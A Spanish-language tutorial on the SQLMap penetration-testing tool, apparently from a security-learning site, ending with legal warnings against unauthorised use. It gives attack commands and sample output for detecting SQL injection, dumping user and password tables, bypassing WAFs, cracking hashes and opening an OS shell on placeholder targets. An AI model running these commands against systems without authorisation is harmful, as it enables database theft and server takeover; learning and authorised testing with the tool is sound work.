Intermedio
22 min
SQLMap
Herramienta automática para detectar y explotar SQL injection
¿Qué es SQLMap?
SQLMap es una herramienta de penetration testing open source que automatiza la detección y explotación de vulnerabilidades de SQL injection. Soporta MySQL, PostgreSQL, Oracle, MSSQL, SQLite, y más.
Capacidades
- ✅ Detecta 6 tipos de SQL injection (Boolean, Error, Union, Time-based, etc.)
- ✅ Enumera DBs, tablas, columnas, datos
- ✅ Dump completo de bases de datos
- ✅ Shell interactivo en servidor (OS shell)
- ✅ Bypass de WAF (Web Application Firewall)
- ✅ Soporta HTTP cookies, headers, POST data
Instalación
# Linux (apt) sudo apt install sqlmap # macOS brew install sqlmap # Kali Linux (pre-instalado) sqlmap --version # GitHub git clone https://github.com/sqlmapproject/sqlmap.git cd sqlmap python sqlmap.py --version
Comandos Básicos
1. Detectar SQL Injection
# GET parameter sqlmap -u "http://target.com/page?id=1" # POST data sqlmap -u "http://target.com/login" --data="user=admin&pass=test" # Con cookies sqlmap -u "http://target.com/page?id=1" --cookie="PHPSESSID=abc123; user=admin" # Headers personalizados sqlmap -u "http://target.com/api" -H "Authorization: Bearer token123"
2. Enumerar Databases
# Listar todas las DBs sqlmap -u "http://target.com/page?id=1" --dbs # Output: # [*] information_schema # [*] mysql # [*] app_database # [*] users_db # Obtener DB actual sqlmap -u "http://target.com/page?id=1" --current-db
3. Enumerar Tablas
# Listar tablas de una DB sqlmap -u "http://target.com/page?id=1" -D users_db --tables # Output: # [*] users # [*] passwords # [*] sessions # [*] admin_logs
4. Enumerar Columnas
# Listar columnas de una tabla sqlmap -u "http://target.com/page?id=1" -D users_db -T users --columns # Output: # [*] id (INT) # [*] username (VARCHAR) # [*] password (VARCHAR) # [*] email (VARCHAR) # [*] role (VARCHAR)
5. Dump Data
# Dump columnas específicas sqlmap -u "http://target.com/page?id=1" -D users_db -T users -C username,password --dump # Dump tabla completa sqlmap -u "http://target.com/page?id=1" -D users_db -T users --dump # Dump TODA la database sqlmap -u "http://target.com/page?id=1" -D users_db --dump-all
Opciones Avanzadas
# Risk level (1-3, más agresivo) sqlmap -u "http://target.com/page?id=1" --risk=3 # Level (1-5, más payloads) sqlmap -u "http://target.com/page?id=1" --level=5 # Técnicas específicas # B: Boolean-based blind # E: Error-based # U: Union query # T: Time-based blind # Q: Inline queries sqlmap -u "http://target.com/page?id=1" --technique=BEUT # Bypass WAF sqlmap -u "http://target.com/page?id=1" --tamper=space2comment # Random User-Agent sqlmap -u "http://target.com/page?id=1" --random-agent # Threads (paralelización) sqlmap -u "http://target.com/page?id=1" --threads=10 # OS Shell (si vulnerable) sqlmap -u "http://target.com/page?id=1" --os-shell
Ejemplo Práctico
# 1. Detectar vulnerabilidad sqlmap -u "http://vuln-site.com/product?id=5" --batch # 2. Listar DBs sqlmap -u "http://vuln-site.com/product?id=5" --dbs --batch # 3. Listar tablas de 'shop_db' sqlmap -u "http://vuln-site.com/product?id=5" -D shop_db --tables --batch # 4. Dump tabla 'users' sqlmap -u "http://vuln-site.com/product?id=5" -D shop_db -T users --dump --batch # Output guardado en: # ~/.local/share/sqlmap/output/vuln-site.com/dump/shop_db/users.csv # 5. Crackear passwords (si hash) sqlmap -u "http://vuln-site.com/product?id=5" -D shop_db -T users -C password --dump --batch --passwords
Burp Suite Integration
Puedes exportar un request de Burp y usarlo directamente en SQLMap:
# 1. En Burp: Right click > Copy to file > request.txt # 2. Usar con SQLMap sqlmap -r request.txt --batch # El archivo request.txt contiene: GET /page?id=1 HTTP/1.1 Host: target.com Cookie: session=abc123 User-Agent: Mozilla/5.0
⚠️ Advertencias Legales
- ❌ NUNCA uses SQLMap contra sitios sin autorización
- ❌ Uso no autorizado es ILEGAL (Computer Fraud and Abuse Act)
- ✅ Solo en entornos de testing propios o con permiso explícito
- ✅ Usar en CTFs, labs, aplicaciones vulnerables intencionalmente